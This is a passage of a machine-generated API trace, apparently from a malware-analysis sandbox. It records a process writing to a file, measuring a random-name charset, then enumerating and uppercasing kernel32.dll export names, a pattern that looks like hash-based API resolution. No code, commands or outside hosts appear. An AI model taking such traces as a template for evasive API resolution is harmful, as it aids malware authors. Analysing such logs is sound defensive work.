(lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.340] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.340] CloseHandle (hObject=0x5f8) returned 1 [0140.340] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.340] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.341] CloseHandle (hObject=0x0) returned 0 [0140.341] CloseHandle (hObject=0x5f4) returned 1 [0140.342] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.342] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.343] GetTickCount () returned 0x38658 [0140.343] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.343] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.343] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.343] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.343] lstrlenA (lpString="kernel32.dll") returned 12 [0140.344] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.344] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.344] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.344] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.344] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.344] lstrlenA (lpString="ADDATOMA") returned 8 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.344] lstrlenA (lpString="ADDATOMW") returned 8 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.344] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.344] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.344] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.344] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.344] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.344] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.344] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.344] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.344] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.344] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.344] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.344] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.344] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.345] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.345] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.345] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.345] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.345] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.345] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.345] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.345] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.345] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.345] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.345] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.345] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.345] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.345] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.345] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.345] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.345] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.345] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.345] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.345] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.345] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.346] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.346] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.346] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.346] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.346] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.346] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.346] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.346] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.346] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.346] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.346] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.346] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.346] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.346] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.346] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.346] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.346] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.346] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.346] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.346] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.347] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.347] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.347] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.347] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.347] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.347] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.347] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.347] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.347] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.347] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.347] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.347] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.347] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.347] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.347] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.347] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0140.347] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.347] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.347] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.348] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.348] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.348] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.348] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.348] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.348] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.348] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.348] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.348] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.348] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.348] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.348] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.348] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.348] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.348] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.348] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.348] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.348] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.348] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.348] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.348] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.349] lstrlenA (lpString="BEEP") returned 4 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.349] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.349] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.349] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.349] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.349] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.349] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.349] lstrcpyA (in: 